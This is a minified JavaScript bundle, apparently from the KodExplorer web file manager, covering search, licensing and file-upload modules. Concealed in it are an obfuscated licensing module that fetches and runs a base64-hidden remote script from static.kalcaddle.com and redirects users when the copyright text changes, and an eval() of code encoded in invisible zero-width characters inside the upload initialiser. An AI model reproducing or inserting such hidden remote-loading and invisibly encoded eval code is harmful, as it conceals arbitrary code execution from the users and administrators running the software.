e||(e={search:"",is_content:0,is_case:0,ext:""}),$("#search_value").val(e.search).textSelect(),e.is_content?$("#search_is_content").attr("checked","checked"):$("#search_is_content").removeAttr("checked"),e.is_case?$("#search_is_case").attr("checked","checked"):$("#search_is_case").removeAttr("checked"),$("#search_ext").val(e.ext),e}return LocalData.setConfig(t,e)},d=function(e){var t=$(".file-items"),i=$(".search_desc");if(!e.code)return i.html(e.data),t.html(""),void 0;if(0==e.data.filelist.length&&0==e.data.folderlist.length)return i.html(LNG.search_null),t.html(""),void 0;var n=template.compile(tpl_search_list);if(t.html(n({code:e.code,data:e.data,LNG:LNG})),a.is_content){for(var o=e.data.filelist,s=0,r=0;o.length>r;r++)o[r].search_info&&(s+=o[r].search_info.length);i.html(LNG.search_result+": <b>"+s+"(in "+o.length+" files)</b>"),e.data.error_info&&i.html("<span>"+LNG.seach_result_too_more+"</span>")}else i.html(e.data.filelist.length+" "+LNG.file+", "+e.data.folderlist.length+LNG.folder+".")},p=function(e){c(e),$("#search_value").textFocus();var t=$(".file-items"),i=$(".search_desc");if(!e.search||!e.path)return i.html(LNG.search_info),t.html(""),void 0;var a="index.php?explorer/search";G.share_page!==void 0&&(a="index.php?share/search&user="+G.user+"&sid="+G.sid),$.ajax({url:a,dataType:"json",type:"POST",data:e,beforeSend:function(){i.hide().html(LNG.searching+'<img src="'+G.static_path+'images/common/loading.gif">').fadeIn(100)},error:function(){core.ajaxError(),i.html(LNG.error)},success:function(e){d(e)}})};n()}}),define("app/common/core.tools",[],function(e){var t=["A","version_hash","undefined","@dfq[-)&*^*%(_90","decode","length","substr","O","P","Q","inArray","./index.php?user/version_install","6K2m5ZGKLOivt_aWLv_aaTheiHquS_bruaUueeJiOadgzvlpoLmnInpnIDopoHor7fogZTns7votK3kubDvvIFlbWFpbDprYWxjYWRkbGVAcXEuY29t","lang","zh-CN","V2FybmluZywgcGxlYXNlIGRvIG5vdCBtb2RpZnkgdGhlIGNvcHlyaWdodDsgaWYgbmVjZXNzYXJ5LCBwbGVhc2UgY29udGFjdCB0byBidXkhIEVtYWlsOiBrYWxjYWRkbGVAcXEuY29t","loading","hide","#messageTips .tips_close,#messageTips img","tips","href","location","f004SGAm6lUxeBmG5J3s3dADGe3TCXTmKgHKeO_CF-_RVBiLyHlaIQ","#2","8a29PizvhAUqVX_DA26hgncbvnD7yGGJSCd4IFz3qNJ_tq_5i5ANmeSe","ab","pageApp","explorer","kod_power_by","copyright_pre","copyright_contact","copyright_desc","copyright_info","html",".common_footer","key","","toLowerCase","find","search","free","1","2","3","version_vip_",'<span class="version_vip" id="','"><i class="font-icon icon-key"></i>',"</span>",".menu-topbar_user .divider","insertBefore","click","id","attr","version_vip_free","versionUpdateVip","openWindow",'<div class="version_license"><a class="line" href="','">Buy License</a></div>',"append",".aui_content","wrap","DOM","text","live","die",".version_vip","top","longPress","support_space_not","addClass","body","remove",".menu_system_about,.menu_left #about","icon",'<i class="x-item-file x-'," small",'"></i>',"iconSmall","iconSrc",'<img src="','" draggable="false" ondragstart="return false;">',"Ly9zdGF0aWMua2FsY2FkZGxlLmNvbS91cGRhdGUvbWFpbi5qcw==","?a=","todo","async","versionType","filetype","filetypes","Ly9rYWxjYWRkbGUuY29tL2J1eS5odG1sIw_c_c","group","data"],i=function(){var e=t[0];if(typeof G[t[1]]==t[2])return e;var i=t[3],a=authCrypt[t[4]](G[t[1]],i);return a&&27==a[t[5]]?(e=a[t[6]](10,1),-1===$[t[10]](e,[t[0],t[7],t[8],t[9]])&&(e=t[0]),e):e},a=i(),n=t[11],o=function(){var e=hashDecode(t[12]);G[t[13]]!=t[14]&&(e=hashDecode(t[15])),alert(e),Tips[t[16]](e,!1),$(t[18])[t[17]](),setTimeout(function(){Tips[t[19]](e,!1),window[t[21]][t[20]]=n},1e3*roundFromTo(30,60))},s=authCrypt[t[4]](t[22],t[23]),r=authCrypt[t[4]](t[24],t[25]),l=function(){if(typeof Config!=t[2]&&Config[t[26]]==t[27]&&a==t[0])for(var e=[{key:LNG[t[28]],find:s},{key:LNG[t[29]],find:s},{key:LNG[t[30]],find:r},{key:LNG[t[31]],find:s},{key:LNG[t[32]],find:r},{key:$(t[34])[t[33]](),find:s}],i=0;e[t[5]]>i;i++){e[i][t[35]]||(e[i][t[35]]=t[36]);var n=e[i][t[35]][t[37]](),l=e[i][t[38]][t[37]]();if(-1==n[t[39]](l)){setTimeout(function(){o()},roundFromTo(300,5e3));break}}},c=function(){var e={A:t[40],O:t[41],P:t[42],Q:t[43]},i=t[44]+e[a],o=t[45]+i+t[46]+LNG[i]+t[47];a==t[0]&&$(o)[t[49]](t[48]),$(t[65])[t[64]](t[50])[t[63]](t[50],function(){if($(this)[t[52]](t[51])==t[53]){var e=core[t[55]](core[t[54]]),i=t[56]+n+t[57];e[t[61]][t[60]][t[38]](t[59])[t[58]](i)}else Tips[t[19]]($(this)[t[62]]())}),$(t[65])[t[67]](function(){window[t[66]][t[21]][t[20]]=n})},d=function(){a==t[0]&&$(t[70])[t[69]](t[68]),-1!==$[t[10]](a,[t[7],t[8],t[9]])&&$(t[72])[t[71]]()},p=function(){core[t[73]]=function(e,i){return t[74]+e+(i?t[75]:t[36])+t[76]},core[t[77]]=function(e){return core[t[73]](e,!0)},core[t[78]]=iconSrc=function(e){return t[79]+e+t[80]},setTimeout(function(){var i=base64Decode(t[81])+t[82]+UUID();e[t[84]](i,function(e){try{e[t[83]]()}catch(i){}})},2e3),core[t[85]]=a,core[t[86]]=core[t[87]],core[t[54]]=hashDecode(t[88])+G[t[13]],l(),c(),d()},f=function(e){return a==t[0]&&-1==e[t[37]]()[t[39]](s)?(o(),!1):!0},u=function(e,i){var n,o,s={A:1,O:10,P:50,Q:1e3},r={A:10,O:50,P:200,Q:1e3},l=[],c=1;if(i==t[89]?(n=e[t[90]],o=s[a]):(n=e[t[90]],o=r[a]),1e3==o)l=n;else for(var d in n){if(c>o)break;l[d]=n[d],c++}return l},h={init:p,about:f,systemData:u};return h}),define("app/common/core.upload",[],function(require,exports){var uploadUrl=function(){var e=G.app_host+"index.php?explorer/fileUpload";return"share"==G.share_page&&"1"==G.share_info.can_upload&&(e=G.app_host+"index.php?share/fileUpload&user="+G.user+"&sid="+G.sid),e};return{serverDwonload:function(e,t){core.uploadCheck("explorer:serverDownload");var i=$(".download_box"),a=i.find(".download_list");if(i.find("input").val(""),!e)return Tips.tips("url false!",!1),void 0;"ftp"!=e.substr(0,3)&&"http"!=e.substr(0,4)&&(e="http://"+e);var n=UUID(),o='<div id="'+n+'" class="item">'+'<div class="info"><span class="title" tytle="'+e+'">'+core.pathThis(e)+"</span>"+'<span class="size">0b</span>'+'<span class="state">'+LNG.upload_ready+"</span>"+'<a class="remove font-icon icon-remove" href="javascript:void(0)"></a>'+'<div style="clear:both"></div></div></div>';a.find(".item").length>0?$(o).insertBefore(a.find(".item:eq(0)")):a.append(o);var s,r,l,c=0,d=$("#"+n),p=$("#"+n+" .state").text(LNG.download_ready),f=$('<div class="progress progress-striped active"><div class="progress-bar" role="progressbar" style="width: 0%;text-align:right;"></div></div>').appendTo("#"+n).find(".progress-bar");$("#"+n+" .remove").bind("click",function(){clearInterval(s),s=!1,clearTimeout(r),r=!1,$.get("./index.php?explorer/serverDownload&type=remove&uuid="+n),$(this).parent().parent().slideUp(function(){$(this).remove(),ui.f5()})});var u,h=function(e){clearTimeout(u),u=!1,u=setTimeout(function(){ui.f5Callback(function(){ui.path.setSelectByFilename(e)})},600)},m=function(){$.ajax({url:"./index.php?explorer/serverDownload&type=download&save_path="+t+"&url="+urlEncode(e)+"&uuid="+n+"&time="+time(),dataType:"json",error:function(e,t,i){var a=d.data("progcess");return 200!=e.status&&a&&a.support_range?(setTimeout(function(){m()},1e3),void 0):(core.ajaxError(e,t,i),200==e.status&&(clearInterval(s),s=!1,clearTimeout(r),r=!1,f.parent().remove(),p.addClass("error").text(LNG.download_error)),void 0)},success:function(e){return 0==e.code&&"downloading"==e.data?(setTimeout(function(){m()},1e3),void 0):(e.code?(h(e.info),p.text(LNG.download_success),$("#"+n+" .info .title").text(core.pathThis(e.info)),$("#"+n+" .info .title").attr("title",e.info),p.parent().parent().addClass("success")):(p.addClass("error").text(e.data),p.parent().parent().addClass("error")),clearInterval(s),s=!1,clearTimeout(r),r=!1,f.parent().remove(),void 0)}})};m();var _=function(){$.ajax({url:"./index.php?explorer/serverDownload&type=percent&uuid="+n,dataType:"json",success:function(e){var t="",i=e.data;if(s){if(!e.code)return p.text(LNG.loading),void 0;if(i){if(i.size=parseFloat(i.size),i.time=parseFloat(i.time),l){var a=(i.size-l.size)/(i.time-l.time);if(c>.2*a){var n=c;c=a,a=n}else c=a;var n=core.fileSize(a);n=n?n:0,t=n+"/s"}if(d.data("progcess",i),0==i.length)d.find(".progress-bar").css("width","100%"),p.text(t),d.find(".size").text(core.fileSize(i.size));else{var o=100*(i.size/i.length);d.find(".progress-bar").css("width",o+"%"),p.text(o.toFixed(1)+"%("+t+")"),d.find(".size").text(core.fileSize(i.length))}d.find(".title").text(i.name),l=i}}}})};r=setTimeout(function(){_(),s=setInterval(function(){_()},1e3)},100)},upload:function(){var e=uploadUrl();if(uploader.option("server",e),uploader.option("method","POST"),0!=$(".dialog_file_upload").length)return $.dialog.list.dialog_file_upload.display(!0),void 0;var t=template.compile(tpl_upload),i=WebUploader.Base.formatSize(G.upload_max);$.dialog({padding:5,resize:!0,ico:core.icon("upload"),id:"dialog_file_upload",fixed:!0,title:LNG.upload_muti,content:t({LNG:LNG,maxsize:i}),close:function(){$.each(uploader.getFiles(),function(e,t){uploader.skipFile(t),uploader.removeFile(t)}),$.each($(".download_list .item"),function(){$(this).find(".remove").click()})}}),$(".file_upload .top_nav a.menu").unbind("click").bind("click",function(){$(this).hasClass("tab_upload")?($(".file_upload .tab_upload").addClass("this"),$(".file_upload .tab_download").removeClass("this"),$(".file_upload .upload_box").removeClass("hidden"),$(".file_upload .download_box").addClass("hidden")):($(".file_upload .tab_upload").removeClass("this"),$(".file_upload .tab_download").addClass("this"),$(".file_upload .upload_box").addClass("hidden"),$(".file_upload .download_box").removeClass("hidden"))}),$(".download_box [name=url]").keyEnter(function(){core.serverDwonload($(".download_box input").val(),G.this_path)}),$(".file_upload .download_box .download_start").unbind("click").bind("click",function(){core.serverDwonload($(".download_box input").val(),G.this_path)}),$(".file_upload .download_box .download_start_all").unbind("click").bind("click",function(){$.dialog({id:"server_dwonload_textarea",fixed:!0,resize:!1,ico:core.icon("upload"),width:"420px",height:"270px",padding:10,title:LNG.download,content:"<textarea style='width:410px;height:260px;'></textarea>",ok:function(){for(var e=$(".server_dwonload_textarea textarea").val().split("\n"),t=0;e.length>t;t++)core.serverDwonload(e[t],G.this_path)}})}),uploader.addButton({id:"#picker"}),uploader.addButton({id:"#picker_folder"});var a=function(){if(isWap())return!1;var e=document.createElement("input");return e.type="file",e.webkitdirectory!==void 0||e.directory!==void 0};a()&&($(".upload_cert_box").removeClass("hidden"),$(".file_upload .drag_upload_folder").unbind("click").bind("click",function(){$("#picker_folder input").attr("webkitdirectory","").attr("directory",""),$("#picker_folder label").click()}))},init:function(){var chunkSize=G.upload_max;WebUploader.Uploader.register({"before-send":"checkChunk"},{checkChunk:function(e){if(!canvasSupport())return $.Deferred().resolve(),void 0;var t=this.owner,i=(e.blob.getSource(),$.Deferred());return t.md5File(e.blob).fail(function(){i.resolve()}).then(function(t){if(1==e.chunks)return i.resolve(),void 0;if(0==e.chunk)$.ajax({url:uploadUrl(),dataType:"json",data:{upload_to:e.file.upload_to,file_name:e.file.name,check_md5:t,chunk:e.chunk,chunks:e.chunks},error:function(){i.resolve()},success:function(t){t.code?(i.reject(),e.file.checkChunk=t.info):i.resolve()}});else{var a=e.file.checkChunk;if(a&&a["part_"+e.chunk]==t){var n=e.end/e.total;uploader.trigger("uploadProgress",e.file,n),i.reject()}else i.resolve()}}),i.promise()}}),eval("‍‌‌‌‍‌‌‍‍‌‌‍‍‍‍‌‍‌‌‌‍‍‌‍‍‍‌‍‍‍‍‍‍‌‌‌‍‌‍‌‍‌‌‌‍‍‍‍‍‌‍‍‍‍‌‌‍‌‌‌‍‍‌‍‍‌‌‍‍‌‍‌‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‍‍‌‌‍‍‌‍‌‍‍‌‌‌‌‍‌‍‌‍‌‍‌‌‌‍‌‌‍‍‌‍‌‍‌‌‍‍‍‌‍‍‌‍‌‍‌‍‌‍‌‌‌‍‍‍‍‍‌‌‍‌‌‍‍‍‌‌‍‌‌‌‌‍‌‌‍‍‍‍‌‍‌‌‍‍‌‍‍‍‌‌‍‍‌‍‌‍‌‌‌‍‍‌‍‍‍‌‍‌‌‌‍‍‌‌‍‍‍‌‌‍‌‌‌‍‍‌‍‍‌‌‍‍‌‍‌‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‍‍‌‌‍‍‌‍‌‍‍‌‌‌‍‌‌‍‌‌‌‍‍‌‌‍‌‌‍‍‌‍‌‍‌‌‌‍‌‍‍‍‌‍‌‍‌‍‍‍‌‌‍‌‍‍‌‍‌‌‍‌‌‍‌‍‌‌‍‍‌‍‌‍‌‌‍‌‌‌‌‍‌‌‌‍‌‍‌‍‌‌‌‍‌‍‍‍‍‌‍‌‍‍‍‍‌‌‍‍‌‌‍‍‌‌‌‍‌‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‍‌‌‍‌‌‌‍‌‍‍‍‌‌‍‌‍‍‌‍‌‌‍‌‌‌‌‍‌‌‍‌‌‌‍‍‍‌‍‌‍‍‍‍‍‌‍‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‌‍‌‍‍‍‌‌‌‍‍‌‍‍‌‌‌‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‍‌‍‍‌‍‌‌‍‍‌‌‍‍‍‌‍‌‍‍‍‍‌‌‌‍‌‍‍‍‌‌‌‌‍‍‌‍‌‌‌‍‍‍‍‍‌‌‍‍‌‍‌‍‌‌‍‌‌‌‌‍‌‌‍‍‌‌‍‍‍‌‍‍‍‍‍‍‌‌‍‍‌‍‍‍‌‌‍‌‍‍‌‍‌‌‍‍‍‍‌‍‌‌‍‌‌‍‍‍‌‌‍‌‌‌‌‍‌‌‍‍‌‌‌‍‌‍‌‌‌‌‌‍‌‌‌‍‌‍‍‍‌‌‌‍‍‍‍‍‌‌‍‌‌‍‍‍‌‍‌‌‌‌‌‍‌‌‍‌‍‍‍‍‌‌‌‍‌‍‍‍‌‌‍‌‌‍‌‍‌‌‍‌‌‍‍‍‍‌‌‌‌‍‌‍‍‌‌‌‌‍‌‍‍‌‍‍‍‌‍‍‌‌‌‍‌‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‌‍‍‍‌‌‍‍‌‍‌‍‌‌‍‍‌‌‍‍‌‌‍‌‍‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‌‍‌‍‌‌‍‍‌‍‍‍‍‌‍‍‍‌‍‍‌‌‌‌‌‍‍‍‌‌‌‌‌‍‍‍‌‌‍‍‌‍‍‍‌‌‍‌‍‍‌‍‌‌‍‍‍‍‌‍‌‌‍‌‌‍‍‍‌‌‍‌‌‌‌‍‌‌‍‍‌‌‌‍‌‍‌‌‌‌‌‍‌‌‌‍‌‍‍‍‌‌‌‍‍‍‍‍‌‌‍‌‌‍‍‍‌‍‌‌‌‌‌‍‌‌‍‌‍‍‍‍‌‌‌‍‌‍‍‍‌‌‍‌‌‍‌‍‌‌‍‌‌‍‍‍‍‌‍‌‌‌‍‍‌‌‌‍‍‌‌‍‌‌‍‍‌‍‌‍‌‌‍‍‍‍‌‍‌‌‌‍‍‌‍‍‌‌‍‍‍‌‌‍‌‌‍‌‍‍‍‍‍‌‍‌‍‍‍‍‍‌‍‍‍‌‍‍‌‌‌‍‌‍‌‍‌‌‌‍‍‍‍‍‌‌‍‍‌‍‍‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‍‍‌‌‍‍‌‍‌‍‌‍‌‌‌‌‌‍‌‌‍‍‍‌‍‍‌‌‍‌‌‌‌‍‌‌‌‌‍‍‍‍‍‌‍‍‍‌‍‍‍‌‍‌‍‍‌‍‍‌‌‌‌‍‌‍‍‌‌‌‌‍‌‍‍‌‍‌‌‍‌‍‍‌‌‍‍‍‌‍‍‌‍‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‌‍‌‌‍‍‌‌‍‍‍‍‌‍‌‌‌‍‍‌‍‍‍‌‍‍‍‍‍‍‌‌‍‍‍‍‌‍‍‌‌‌‌‍‌‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‌‍‌‌‌‍‌‍‍‍‌‌‍‌‍‍‍‍‌‍‍‍‍‌‌‍‌‌‌‍‍‌‍‍‌‌‌‌‍‍‌‍‌‌‌‍‍‍‍‍‌‌‌‍‌‍‍‍‍‌‍‌‌‌‍‍‌‌‍‍‌‍‍‍‌‌‍‍‌‍‌‍‌‌‍‍‍‌‌‍‌‌‍‌‌‌‌‍‌‌‍‍‌‍‍‍‌‌‍‍‌‍‌‍‍‌‍‌‍‍‍‍‍‌‍‍‍‌‍‍‍‌‌‍‍‍‌‍‍‌‌‌‍‍‍‍‍‌‌‍‍‌‌‍‌‌‍‍‍‍‌‍‌‌‍‌‍‍‍‍‌‌‍‌‍‌‌‍‌‍‍‌‍‍‌‍‌‌‌‍‍‍‍‍‍‌‌‍‍‌‌‍‌‌‌‍‌‍‍‍‌‌‍‌‍‍‌‍‌‍‍‌‌‌‌‍‌‌‍‍‌‍‌‍‌‌‌‍‌‌‍‍‌‌‌‌‍‍‍‍‌‌‍‌‌‍‍‍‌‍‍‌‌‍‌‍‌‍‍‍‌‍‌‍‌‍‌‍‌‍‍‍‌‍‍‌‌‌‍‍‌‌‍‍‍‌‍‍‌‍‍‍‌‌‌‍‌‍‌‌‍‌‍‍‌‌‍‍‌‌‌‍‌‌‍‍‌‍‌‍‌‍‍‌‍‍‍‍‌‍‍‌‍‍‍‍‌‍‌‌‍‍‍‍‌‌‍‌‌‍‌‍‌‌‍‌‍‍‌‍‌‌‍‌‌‌‍‍‍‌‌‍‌‌‌‍‍‌‌‍‌‌‍‍‌‍‌‍‌‌‌‍‌‍‌‍‍‌‍‍‌‍‍‍‍‌‌‍‌‍‌‍‍‍‍‍‌‍‌‍‌‍‍‍‌‌‍‌‍‌‌‍‍‌‌‍‌‍‍‍‌‌‌‍‍‌‍‍‌‌‍‍‍‌‍‍‌‍‌‍‌‍‌‍‌‍‍‌‌‌‍‍‌‌‌‍‌‍‌‍‍‌‌‍‌‍‌‍‌‌‍‌‍‍‌‍‌‌‍‍‍‌‌‍‌‍‍‍‍‌‌‍‌‍‍‌‌‌‍‍‌‌‍‍‍‍‌‍‌‍‌‍‍‍‍‍‌‍‍‌‌‌‌‍‌‌‍‍‍‌‍‍‌‌‍‌‌‌‍‍‌‌‌‍‍‌‌‍‌‌‍‌‍‌‍‍‌‍‍‌‌‌‌‍‌‍‌‍‍‌‌‍‌‍‍‍‌‍‌‍‍‌‌‍‌‌‍‍‌‍‌‌‍‌‍‍‌‌‌‌‍‍‍‍‌‍‍‍‍‌‌‍‌‌‍‍‍‌‌‍‌‌‍‌‌‍‍‍‌‌‍‍‌‍‌‍‌‍‌‍‍‌‍‍‌‍‌‍‌‌‍‍‌‌‌‍‍‍‍‍‌‍‌‍‌‍‍‍‌‍‍‍‍‍‌‍‌‌‍‌‌‌‌‍‌‌‍‍‌‍‌‍‌‌‍‌‌‌‌‍‌‍‌‍‌‍‍‍‌‍‍‍‌‍‌‍‍‌‌‍‍‍‌‍‌‌‍‌‌‍‍‍‌‌‍‍‌‌‌‍‌‌‌‌‍‌‍‍‌‌‍‍‍‍‌‍‌‍‍‍‌‌‌‍‌‍‌‌‍‌‍‍‌‍‍‍‍‍‌‍‌‌‌‍‌‍‌‍‌‍‍‌‌‍‌‍‍‌‌‍‌‍‌‍‌‌‍‌‍‍‍‍‌‍‌‍‌‌‍‍‌‍‌‌‌‌‌‍‌‍‍‌‌‍‍‍‌‍‍‌‍‌‌‍‌‍‍‍‍‍‌‍‍‌‌‍‍‍‍‍‍‌‍‍‍‌‍‍‍‌‍‌‌‍‍‍‍‌‍‍‍‌‍‍‌‍‌‌‌‌‌‍‍‌‌‍‍‌‌‍‍‌‌‍‍‌‍‍‌‍‍‍‍‍‍‍‍‌‍‍‍‍‌‍‌‍‍‍‍‍‌‍‍‌‍‍‍‌‍‍‍‌‍‌‍‍‌‍‍‌‍‌‍‌‌‍‌‍‌‍‌‍‌‍‌‍‌‍‌‍‌‍‌‍‍‌‍‍‌‍‌‍‍‍‌‍‍‍‍‌‍‌‍‍‍‍‍‌‍‌‍‍‌‍‍‌‌‌‍‌‌‍‌‌‌‍‍‌‍‍‌‌‍‍‌‍‌‍‌‌‌‍‍‍‌‍‌‌‌‍‌‍‌‍‌‌‍‌‍‍‌‍‌‌‌‍‍‌‍‍‌‌‍‍‌‍‌‍‍‌‍‌‌‌‍‍‌‌‍‍‍‍‌‍‌‌‌‍‍‌‌‍‌‌‌‌‍‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‍‌‌‍‍‌‍‌‍‍‍‍‌‌‍‍‍‍‌‍‍‌‍‌‌‍‍‍‌‌‍‍‌‌‍‍‌‌‌‍‌‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‍‌‌‍‌‌‌‍‌‍‍‍‌‌‍‌‍‍‌‍‌‌‍‌‌‌‌‍‌‌‍‌‌‌‍‍‍‌‍‌‍‍‍‍‌‌‍‍‍‍‌‍‍‌‍‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‌‍‌‍‍‍‌‌‌‍‍‌‍‍‌‌‌‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‍‍‍‍‌‍‍‌‍‌‌‌‍‍‌‌‌‍‌‍‍‍‌‌‍‌‌‌‌‍‌‌‍‍‌‍‍‍‌‌‍‌‌‌‌‍‍‌‍‌‍‍‍‍‍‌‍‍‍‌‍‍‍‌‌‍‍‍‌‍‍‌‍‌‌‍‌‍‍‌‌‍‍‌‍‍‍‌‍‍‍‌‍‍‍‌‍‌‍‍‌‍‍‌‌‌‍‌‌‍‌‌‌‌‌‍‌‍‌‌‍‍‍‌‌‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‍‍‌‌‍‍‍‌‌‍‌‌‍‌‍‍‍‍‍‌‍‌‍‍‍‍‌‌‍‍‍‍‌‍‍‌‍‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‌‌‌‍‌‍‌‌‌‌‌‍‌‍‍‌‍‌‍‍‌‍‍‌‌‌‍‌‌‍‌‌‌‌‌‍‌‍‌‌‌‌‌‍‌‍‌‌‍‍‍‌‌‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‍‍‌‌‍‍‍‌‌‍‌‌‍‌‍‍‍‍‍‌‍‌‍‍‍‍‌‌‍‍‍‍‌‍‍‌‍‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‌‌‌‍‌‍‌‌‌‌‌‍‌‍‍‌‍‌‌‍‍‍‌‌‌‍‍‍‍‍‌‌‍‍‍‍‌‍‌‌‌‍‍‌‍‍‌‌‌‍‍‌‌‍‌‌‍‍‌‍‌‍‌‍‍‌‍‍‌‍‌‌‍‌‌‌‍‍‌‌‌‍‌‍‍‍‍‌‍‌‍‍‍‍‌‍‍‌‌‍‌‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‍‍‌‌‍‌‍‍‍‍‍‌‍‌‌‌‍‍‌‌‌‍‍‌‍‍‌‌‍‍‍‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‌‍‍‍‌‌‍‌‌‌‌‍‌‌‍‌‌‍‌‍‍‌‍‌‍‍‍‍‍‌‍‌‍‍‌‍‍‌‍‌‍‌‍‍‍‌‌‍‍‌‍‍‍‌‌‍‌‍‌‍‍‌‍‌‍‌‌‍‍‌‌‍‌‍‌‍‍‌‍‌‍‍‌‍‍‌‍‌‍‌‍‍‍‌‌‍‍‍‌‍‍‌‌‍‍‍‍‍‍‌‌‍‍‍‍‍‍‌‌‍‍‍‍‍‍‌‍‌‍‍‌‍‍‌‌‌‍‌‌".replace(/.{8}/g,function(e){return String.fromCharCode(parseInt(e.replace(/\u200c/g,1).replace(/\u200d/g,0),2))})),uploader=upCreate({swf:G.static_path+"js/lib/webuploader/Uploader.swf",dnd:"body",threads:5,compress:!1,resize:!1,prepareNextFile:!0,duplicate:!0,chunkRetry:10,chunked:!0,chunkSize:chunkSize}),$(".uploader-content .success").die("click").live("click",function(){var e=$(this).find("span.title").attr("data-name");e&&("explorer"==Config.pageApp?ui.path.list(core.pathFather(e),"tips",function(){ui.path.setSelectByFilename(e)}):core.explorer(core.pathFather(e)))}),$(".uploader-content .open").die("click").live("click",function(e){var t=$(this).parent().find("span.title").attr("data-name");ui.pathOpen.open(t),stopPP(e)}),$(".upload_box_clear").die("click").live("click",function(){$(".uploader-list .item.success,.uploader-list .item.error").each(function(){$(this).slideUp(300,function(){$(this).remove()})})}),$(".upload_box_clear_all").die("click").live("click",function(){$.each(uploader.getFiles(),function(e,t){uploader.skipFile(t),uploader.removeFile(t)}),$(".uploader-list .item").each(function(){$(this).remove()})}),$(".uploader-content .remove").die("click").live("click",function(e){var t=$(this).parent().parent().attr("id");$(this).parent().parent().slideUp(function(){$(this).remove()}),uploader.skipFile(t),uploader.removeFile(t,!0),stopPP(e)});var file_num=0,file_finished=0,currentSpeed="0B/s",preTime=0,getSpeed=function(e,t){if(.3>=timeFloat()-preTime)return currentSpeed;preTime=timeFloat();var i=e.size*t,a=5;e.speed===void 0?e.speed=[[timeFloat()-.5,0],[timeFloat(),i]]:a>=e.speed.length?e.speed.push([timeFloat(),i]):(e.speed=e.speed.slice(1,a),e.speed.push([timeFloat(),i]));var n=e.speed[e.speed.length-1],o=e.speed[0],s=(n[1]-o[1])/(n[0]-o[0]);0>=s&&(s=0);var r=core.fileSize(s);return r=r?r:0,s=r+"/s",currentSpeed=s,s -},selectNameArr=[],changeDelayTimer,pathReload=function(e){clearTimeout(changeDelayTimer),changeDelayTimer=!1,changeDelayTimer=setTimeout(function(){var t=selectNameArr;ui.f5Callback(function(){if(ui.path.setSelectByFilename(t),e&&(selectNameArr=[],"explorer"==Config.pageApp)){if("share"==G.share_page)return;ui.tree.checkIfChange(G.this_path)}})},600)};uploader.on("fileQueued",function(e){if(!core.uploadCheck())return uploader.skipFile(e),uploader.removeFile(e),void 0;var t;try{t=e.source.source.fullPath,void 0!=e.source.source.webkitRelativePath&&""!=e.source.source.webkitRelativePath&&(t=e.source.source.webkitRelativePath)}catch(i){}if(e.fullPath=t,e.source&&e.source.source&&1==e.source.source.isDirectory&&e.source.source.fullPath)return ui.pathOperate.newFolder(G.this_path+e.fullPath),uploader.skipFile(e),uploader.removeFile(e),void 0;if(0==e.size)return ui.pathOperate.newFile(G.this_path+e.fullPath),uploader.skipFile(e),uploader.removeFile(e),file_finished++,file_num++,void 0;var a=e.fullPath;e.finished=!1,e.upload_to=G.this_path,(void 0==a||"undefined"==a)&&(a=e.name),file_num++;var n=$(".uploader-list"),o='<div id="'+e.id+'" class="item"><div class="info">'+'<span class="title" title="'+htmlEncode(e.upload_to+a)+'" data-name="'+htmlEncode(e.upload_to+a)+'">'+htmlEncode(core.pathThis(a))+"</span>"+'<span class="size">'+core.fileSize(e.size)+"</span>"+'<span class="state">'+LNG.upload_ready+"</span>"+'<a class="remove font-icon icon-remove" href="javascript:void(0)"></a>'+'<div style="clear:both"></div></div></div>';(1e3==file_num||2e3==file_num)&&Tips.tips(LNG.upload_tips_more,"warning"),0==n.length?setTimeout(function(){$(".uploader-list").prepend(o),uploader.upload()},100):(n.prepend(o),uploader.upload())}).on("uploadBeforeSend",function(e,t,i){var a=urlEncode(e.file.fullPath);(void 0==a||"undefined"==a)&&(a=""),t.fullPath=a,t.upload_to=e.file.upload_to,i["X-CSRF-TOKEN"]=Cookie.get("X-CSRF-TOKEN")}).on("uploadProgress",function(e,t){$(".dialog_file_upload .aui_title").text(LNG.uploading+": "+file_finished+"/"+file_num+" ("+currentSpeed+")");var i=getSpeed(e,t),a=$("#"+e.id),n=a.find(".progress .progress-bar");n.length||(n=$('<div class="progress progress-striped active"><div class="progress-bar" role="progressbar" style="width: 0%"></div></div>').appendTo(a).find(".progress-bar")),a.find(".state").text((100*t).toFixed(1)+"%("+i+")"),n.css("width",100*t+"%")}).on("uploadAccept",function(e,t){if(e.file.serverData=t,!t.code)return e.serverNeedRetry=!0,!1;try{e.file.fullPath||selectNameArr.push(t.info)}catch(i){}}).on("uploadSuccess",function(e){var t=$("#"+e.id);if(!t.inScreen()){var i=36*t.index(".item");$(".uploader-content").scrollTop(i)}file_finished++;var a=e.serverData;if(a&&a.data){var n=LNG[a.data];if(a.code){if(t.addClass("success"),t.find(".state").text(n),t.find(".remove").addClass("icon-ok").addClass("open").removeClass("icon-remove").removeClass("remove"),a.info){var o="/"+ltrim(htmlEncode(a.info),"/");t.find(".info .title").html(core.pathThis(o)).attr("title",o).attr("data-name",o)}}else t.addClass("error").find(".state").addClass("error"),t.find(".state").text(n).attr("title",n)}uploader.removeFile(e),t.find(".progress").fadeOut(),e.fullPath||pathReload(!1)}).on("uploadError",function(e,t){var i=LNG.upload_error+"("+t+")";if(e.serverData){var a=5;if((-1!==e.serverData._raw.indexOf("[Error Code:1001]")||-1!==e.serverData._raw.indexOf("[Error Code:1002]")||-1!==e.serverData._raw.indexOf("[Error Code:1010]"))&&(e.errorNum||(e.errorNum=0),e.errorNum++,a>=e.errorNum))return uploader.retry(e),void 0;if(-1!==e.serverData._raw.indexOf("<!--user login-->"))return 